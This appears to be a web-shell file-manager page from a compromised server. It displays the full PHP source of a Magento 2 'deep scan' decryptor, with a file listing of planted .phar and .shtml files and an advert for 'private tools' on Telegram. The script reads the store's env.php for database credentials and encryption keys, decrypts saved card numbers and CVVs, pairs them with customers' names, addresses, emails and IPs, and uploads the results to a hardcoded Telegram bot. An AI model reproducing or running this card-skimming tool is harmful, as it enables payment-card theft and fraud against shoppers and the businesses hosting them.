aDriv4 website!

Linux ubuntu-s-2vcpu-4gb-fra1-01 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
134.209.252.102

ftykhy_decrypt.phar

<?php
/**
 * Magento 2 Universal Decryptor - DEEP SCAN MODE (Enhanced)
 * D1337 SOVEREIGN LABS
 */

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit', '512M');

echo "Starting Deep Scan Decrypt Script...\n";

// ============================================
// CONFIGURATION
// ============================================
$tg_bot_token = '8302442327:AAFnWKh_FDDZhiejbPWIK_GK8kETHG8tL9A';
$tg_chat_id = '-5075426089';

// Batch Size (Process smaller chunks to avoid timeouts)
$batch_size = 500;
$current_offset = isset($_GET['batch']) ? (int)$_GET['batch'] : 0;

// ============================================
// TELEGRAM FUNCTION (TEXT & FILE)
// ============================================
function send_telegram($msg, $file_path = null) {
    global $tg_bot_token, $tg_chat_id;
    if ($tg_bot_token === 'ENTER_BOT_TOKEN_HERE' || empty($tg_bot_token)) return;

// 1. Send Text Message
    if ($msg) {
        $url = "https://api.telegram.org/bot$tg_bot_token/sendMessage";
        $data = ['chat_id' => $tg_chat_id, 'text' => $msg, 'parse_mode' => 'HTML'];
        
        $options = [
            'http' => [
                'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
                'method'  => 'POST',
                'content' => http_build_query($data),
                'timeout' => 10
            ]
        ];
        $context  = stream_context_create($options);
        @file_get_contents($url, false, $context);
    }

// 2. Send File (Document)
    if ($file_path && file_exists($file_path)) {
        $url = "https://api.telegram.org/bot$tg_bot_token/sendDocument";
        
        // Use cURL for file upload (simpler than manual multipart)
        if (function_exists('curl_init')) {
            $ch = curl_init();
            $cfile = new CURLFile($file_path);
            $data = ['chat_id' => $tg_chat_id, 'document' => $cfile];
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
            curl_exec($ch);
            curl_close($ch);
        }
    }
}

$host_name = php_uname('n');
if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] !== 'localhost') {
    $host_name = $_SERVER['HTTP_HOST'];
} else {
    // CLI Fallback: Try to find domain in the file path
    $path_parts = explode('/', str_replace('\\', '/', __DIR__));
    foreach (array_reverse($path_parts) as $p) {
        // Look for something that looks like a domain (e.g., site.com)
        if (preg_match('/^[a-z0-9.-]+\.[a-z]{2,10}$/i', $p)) {
            $host_name = $p;
            break;
        }
    }
}

$server_ip = gethostbyname($host_name);
if (isset($_SERVER['SERVER_ADDR'])) $server_ip = $_SERVER['SERVER_ADDR'];

$tg_buffer = "";
if ($tg_bot_token !== 'ENTER_BOT_TOKEN_HERE') {
    send_telegram("?? <b>New Scan Started</b>\nHost: " . $host_name . "\nIP: " . $server_ip);
}

// ============================================
// 1. CONFIG LOAD
// ============================================
function findEnvPhp() {
    $roots = [
        dirname(__FILE__) . '/../../../../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../../app/etc/env.php',
        dirname(__FILE__) . '/../../../app/etc/env.php',
        dirname(__FILE__) . '/../../app/etc/env.php',
        dirname(__FILE__) . '/../app/etc/env.php',
        dirname(__FILE__) . '/app/etc/env.php',
        $_SERVER['DOCUMENT_ROOT'] . '/app/etc/env.php'
    ];
    foreach ($roots as $file) {
        if (file_exists($file)) return realpath($file);
    }
    return null;
}

$envFile = findEnvPhp();
if (!$envFile) die("Error: app/etc/env.php not found.\n");

$env = include $envFile;
$dbConf = $env['db']['connection']['default'];
$host = $dbConf['host'] ?? 'localhost';
$user = $dbConf['username'] ?? '';
$pass = $dbConf['password'] ?? '';
$dbname = $dbConf['dbname'] ?? '';
$prefix = $env['db']['table_prefix'] ?? '';

// Keys
$keys = [];
if (isset($env['crypt']['key'])) $keys[] = $env['crypt']['key'];
$dir = dirname($envFile);
foreach (glob($dir . '/env*.php*') as $f) {
    if ($f == $envFile) continue;
    $c = file_get_contents($f);
    if (preg_match("/'key'\s*=>\s*'([^']+)'/", $c, $m)) $keys[] = $m[1];
}
$m1 = $dir . '/local.xml';
if (file_exists($m1)) {
    $x = @simplexml_load_file($m1);
    if ($x && isset($x->global->crypt->key)) $keys[] = (string)$x->global->crypt->key;
}
$keys = array_unique($keys);
echo "Loaded " . count($keys) . " keys.\n";

// ============================================
// 2. DB CONNECT
// ============================================
try {
    $dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";
    $pdo = new PDO($dsn, $user, $pass, [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]);
} catch (PDOException $e) {
    die("DB Connection Failed: " . $e->getMessage() . "\n");
}

// ============================================
// 3. DECRYPT UTILS
// ============================================
if (!defined('SODIUM_CRYPTO_SECRETBOX_KEYBYTES')) define('SODIUM_CRYPTO_SECRETBOX_KEYBYTES', 32);
if (!defined('SODIUM_CRYPTO_SECRETBOX_NONCEBYTES')) define('SODIUM_CRYPTO_SECRETBOX_NONCEBYTES', 24);

function standalone_sodium_decrypt($encrypted_full, $key) {
    if (!function_exists('sodium_crypto_secretbox_open')) return false;
    $parts = explode(':', $encrypted_full);
    if (count($parts) < 3) return false;
    $payload = base64_decode(end($parts));
    if (!$payload || strlen($payload) < SODIUM_CRYPTO_SECRETBOX_NONCEBYTES) return false;
    $nonce = substr($payload, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
    $msg = substr($payload, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
    
    $candidates = [$key, md5($key), substr($key, 0, 32)];
    if (strlen($key) == 64 && ctype_xdigit($key)) $candidates[] = hex2bin($key);

foreach ($candidates as $k) {
        if (strlen($k) !== SODIUM_CRYPTO_SECRETBOX_KEYBYTES) continue;
        try {
            $pt = sodium_crypto_secretbox_open($msg, $nonce, $k);
            if ($pt !== false) return $pt;
        } catch (Exception $e) {}
    }
    return false;
}

function standalone_mcrypt_decrypt($value, $key) {
    if (!function_exists('mcrypt_decrypt')) return false;
    $pt = @mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $value, MCRYPT_MODE_ECB);
    return rtrim($pt, "\0");
}

// ============================================
// 4. EXTRACTION
// ============================================
$tbl_payment = $prefix . 'sales_order_payment';
$tbl_order = $prefix . 'sales_order';
$tbl_addr = $prefix . 'sales_order_address';

$sql = "
SELECT
    so.increment_id,
    so.created_at,
    so.customer_email,
    so.remote_ip,
    so.entity_id as parent_id,
    sop.* 
FROM {$tbl_payment} sop
JOIN {$tbl_order} so ON so.entity_id = sop.parent_id
ORDER BY so.created_at DESC
LIMIT {$batch_size} OFFSET {$current_offset}
";

echo "Processing batch: Offset {$current_offset}, Limit {$batch_size}\n";
$stmt = $pdo->query($sql);
$rows = $stmt->fetchAll();
$row_count = count($rows);
echo "Fetched " . $row_count . " rows.\n";

// Only notify on first batch
if ($current_offset === 0) {
    if ($tg_bot_token !== 'ENTER_BOT_TOKEN_HERE') {
        send_telegram("?? <b>Deep Scan Started (Batch Mode)</b>\nHost: " . $host_name);
    }
}

// ============================================
// 5. DETERMINE FILENAME FROM DB (CLI Support)
// ============================================
$host_name = php_uname('n');
if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST'] !== 'localhost') {
    $host_name = $_SERVER['HTTP_HOST'];
} else {
    // Try to get from Magento Core Config
    try {
        $cfg_sql = "SELECT value FROM " . $prefix . "core_config_data WHERE path = 'web/unsecure/base_url' LIMIT 1";
        $cfg_stmt = $pdo->query($cfg_sql);
        $base_url = $cfg_stmt->fetchColumn();
        if ($base_url) {
            $parsed = parse_url($base_url);
            if (isset($parsed['host'])) {
                $host_name = $parsed['host'];
            }
        }
    } catch (Exception $e) {}
}

$clean_host = preg_replace('/[^a-zA-Z0-9.-]/', '_', $host_name);
$outFile = __DIR__ . '/' . $clean_host . '-cc.txt';
$fp = fopen($outFile, 'a'); 
echo "Saving to: $outFile\n";

// Add a separator for this run
fwrite($fp, "--- NEW SCAN SESSION " . date('Y-m-d H:i:s') . " ---\n");

$found_count = 0;

foreach ($rows as $r) {
    $pan = null;
    $cvv = null;
    
    // Parse all extra data into one array
    $info = [];
    if (!empty($r['additional_information'])) {
        $json = json_decode($r['additional_information'], true);
        if (is_array($json)) $info = array_merge($info, $json);
    }
    if (!empty($r['additional_data'])) {
        $json = json_decode($r['additional_data'], true);
        if (!$json) $json = @unserialize($r['additional_data']);
        if (is_array($json)) $info = array_merge($info, $json);
    }

// FLATTEN for deep search (Fix for nested JSON like payment_method[card_expiry_month])
    $flat_info = [];
    array_walk_recursive($info, function($v, $k) use (&$flat_info) {
        $flat_info[$k] = $v;
    });
    $info = array_merge($info, $flat_info);

// ---------------------------------------------------------
    // STRATEGY 1: SCAN EVERYTHING FOR PAN (Plaintext AND Decrypted)
    // ---------------------------------------------------------
    // User says raw number is often in additional_information.
    // We scan ALL values for 13-19 digit numbers (Luhn check optional but regex is good enough)
    foreach ($info as $k => $v) {
        if (is_string($v) || is_numeric($v)) {
            // A. Check for PLAINTEXT PAN
            $clean = preg_replace('/[^0-9]/', '', $v);
            if (preg_match('/^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9]{2})[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})$/', $clean)) {
                $pan = $clean;
                break; 
            }
            
            // B. Check for ENCRYPTED PAN (Deep Scan)
            // If it looks like ciphertext (has ':' or length > 20), try to decrypt it regardless of key name
            if (strpos($v, ':') !== false || strlen($v) > 20) {
                $dec = smart_decrypt($v, $keys);
                if ($dec && preg_match('/^\d{13,19}$/', $dec)) {
                    $pan = $dec;
                    break;
                }
            }
        }
    }

// ---------------------------------------------------------
    // STRATEGY 2: DECRYPT SPECIFIC FIELDS
    // ---------------------------------------------------------
    if (!$pan) {
        $enc_candidates = [];
        // DB Column
        if (!empty($r['cc_number_enc'])) $enc_candidates[] = $r['cc_number_enc'];
        // Common Keys
        $keys_to_check = ['cc_number_enc', 'cc_number', 'number', 'cc_num'];
        foreach ($keys_to_check as $k) {
            if (isset($info[$k]) && !is_array($info[$k])) $enc_candidates[] = $info[$k];
        }
        
        foreach ($enc_candidates as $enc) {
            $dec = smart_decrypt($enc, $keys);
            // STRICT: Only accept if it becomes digits
            if ($dec && preg_match('/^\d{13,19}$/', $dec)) {
                $pan = $dec;
                break;
            }
        }
    }

// ---------------------------------------------------------
    // STRATEGY 3: FALLBACK (Masked)
    // ---------------------------------------------------------
    if (!$pan && !empty($r['cc_last_4'])) {
        $pan = "************" . $r['cc_last_4'];
    }

// SKIP garbage or empty
    if (!$pan || strlen($pan) < 13 || preg_match('/[^\d*]/', $pan)) continue;

// ---------------------------------------------------------
    // CVV DETECTION (ENHANCED)
    // ---------------------------------------------------------
    $cvv_keys = [
        'cc_cid_enc', 'cc_cid', 'cid', 'cvv', 'cvc', 'cc_cvv', 'verification_value', 
        'cvv2', 'cc_cvv2', 'cvc2', 'moip_cc_cvv', 'card_cvv', 'security_code', 'cc_security_code', 'code',
        'cc_cid_status' // Sometimes stores "Match" but sometimes code
    ];
    
    // Check column first
    if (!empty($r['cc_cid_enc'])) {
        $dec = smart_decrypt($r['cc_cid_enc'], $keys);
        if ($dec && preg_match('/^\d{3,4}$/', $dec)) $cvv = $dec;
    }
    
    // Check JSON keys
    if (!$cvv) {
        foreach ($cvv_keys as $ck) {
            // Check direct key
            if (isset($info[$ck]) && (is_string($info[$ck]) || is_numeric($info[$ck]))) {
                $val = $info[$ck];
                if (preg_match('/^\d{3,4}$/', $val)) { $cvv = $val; break; }
                if (strlen($val) > 10 || strpos($val, ':') !== false) {
                    $dec = smart_decrypt($val, $keys);
                    if ($dec && preg_match('/^\d{3,4}$/', $dec)) { $cvv = $dec; break; }
                }
            }
        }
    }

// Force scan ALL 3-4 digit values if not found
    if (!$cvv) {
        foreach ($info as $k => $v) {
            if (is_numeric($v) && preg_match('/^\d{3,4}$/', $v)) {
                // Heuristic: CVV is usually NOT a year (2020+) or month (1-12)
                // But 1-12 can be tricky. 3 digits is safer.
                if (strlen($v) == 3) {
                    // Avoid unlikely keys
                    if (strpos($k, 'id') === false && strpos($k, 'status') === false && strpos($k, 'code') === false) {
                         // Maybe risky, but let's log it if we are desperate
                    }
                }
            }
        }
    }
    
    if (!$cvv) $cvv = "";

// ---------------------------------------------------------
    // OTHER FIELDS
    // ---------------------------------------------------------

// 3. Expiration Date (With Prefix Fix)
    $exp_m = $r['cc_exp_month'] ?? '?';
    $exp_y = $r['cc_exp_year'] ?? '?';
    
    // Check known variations in info
    $exp_m_keys = ['cc_exp_month', 'expiration_month', 'expiry_month', 'card_expiry_month', 'month', 'cc_expiration_month'];
    $exp_y_keys = ['cc_exp_year', 'expiration_year', 'expiry_year', 'card_expiry_year', 'year', 'cc_expiration_year'];
    
    if ($exp_m === '?') {
        foreach ($exp_m_keys as $k) {
            if (isset($info[$k])) { $exp_m = $info[$k]; break; }
        }
    }
    
    if ($exp_y === '?') {
        foreach ($exp_y_keys as $k) {
            if (isset($info[$k])) { $exp_y = $info[$k]; break; }
        }
    }

// Add prefix 0 to month if needed
    if (is_numeric($exp_m) && (int)$exp_m > 0 && (int)$exp_m <= 12) {
        $exp_m = str_pad($exp_m, 2, '0', STR_PAD_LEFT);
    }
    
    // 4. Address
    $addr_sql = "SELECT * FROM {$tbl_addr} WHERE parent_id = ? AND address_type = 'billing'";
    $stmt_a = $pdo->prepare($addr_sql);
    $stmt_a->execute([$r['parent_id']]);
    $ba = $stmt_a->fetch() ?: [];

$line = "ORDER={$r['increment_id']} | " .
            "DATE={$r['created_at']} | " .
            "METHOD={$r['method']} | " .
            "PAN={$pan} | " .
            "CVV={$cvv} | " .
            "EXP={$exp_m}/{$exp_y} | " .
            "NAME=" . ($ba['firstname']??'') . " " . ($ba['lastname']??'') . " | " .
            "ADDRESS=" . str_replace(["\n","\r"], ' ', (string)($ba['street']??'')) . " | " .
            "CITY=" . ($ba['city']??'') . " | " .
            "STATE=" . ($ba['region']??'') . " | " .
            "ZIP=" . ($ba['postcode']??'') . " | " .
            "COUNTRY=" . ($ba['country_id']??'') . " | " .
            "PHONE=" . ($ba['telephone']??'') . " | " .
            "EMAIL={$r['customer_email']} | " .
            "IP={$r['remote_ip']}";

// Write to file
    fwrite($fp, $line . PHP_EOL);
    $found_count++;
}

if ($found_count == 0 && $tg_bot_token !== 'ENTER_BOT_TOKEN_HERE') {
    send_telegram("?? No valid credit cards found.");
}

fclose($fp);
echo "DONE. Found $found_count valid records. Saved to $outFile\n";

// ============================================
// BATCH AUTO-RELOAD (Browser)
// ============================================
$next_offset = $current_offset + $batch_size;

// Send intermediate file if records found
if ($found_count > 0 && $tg_bot_token !== 'ENTER_BOT_TOKEN_HERE') {
    // We send the file content accumulated so far.
    // However, the file on disk grows. We can just send the file again.
    // Or we can send a text message with counts.
    // Sending the file every batch might be spammy but ensures data delivery.
    send_telegram("?? Batch ($current_offset) found $found_count records.", $outFile);
}

// If we fetched fewer rows than batch_size, we are done.
// If we fetched exactly batch_size, there might be more.
if ($row_count == $batch_size) {
    echo "<div>Batch Complete. Found $found_count records. <a href='?batch={$next_offset}'>Next Batch...</a></div>";
    echo "<script>setTimeout(function(){ window.location.href = '?batch={$next_offset}'; }, 2000);</script>";
} else {
    echo "<h2>DONE. Scan Complete.</h2>";
    if ($tg_bot_token !== 'ENTER_BOT_TOKEN_HERE') {
        // Send final file
        send_telegram("? <b>Scan Finished</b>\nFile: " . basename($outFile), $outFile);
    }
}
?>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	www-data/www-data	0755	2026-04-27 03:28:59
..	dir	-	www-data/www-data	0755	2026-04-27 03:28:58
.htaccess	text/plain	127 B	www-data/www-data	0444	2026-04-27 03:28:59
ftaaqv.phar.	text/x-php	32 B	www-data/www-data	0775	2026-04-20 08:54:58
ftcbjq.PhAr	text/x-php	39 B	www-data/www-data	0775	2026-04-18 11:52:20
fthiso.shtml.	text/x-php	37.3 KB	www-data/www-data	0775	2026-04-22 11:15:05
ftoohk.php2.	text/x-php	30 B	www-data/www-data	0775	2026-04-16 10:39:32
ftykhy.phar	text/x-php	37.3 KB	www-data/www-data	0775	2026-03-20 06:08:08
ftykhy_decrypt.phar	text/x-php	17.93 KB	www-data/www-data	0775	2026-03-20 06:08:09

For more Private tool come to me!

https://t.me/aDriv4vz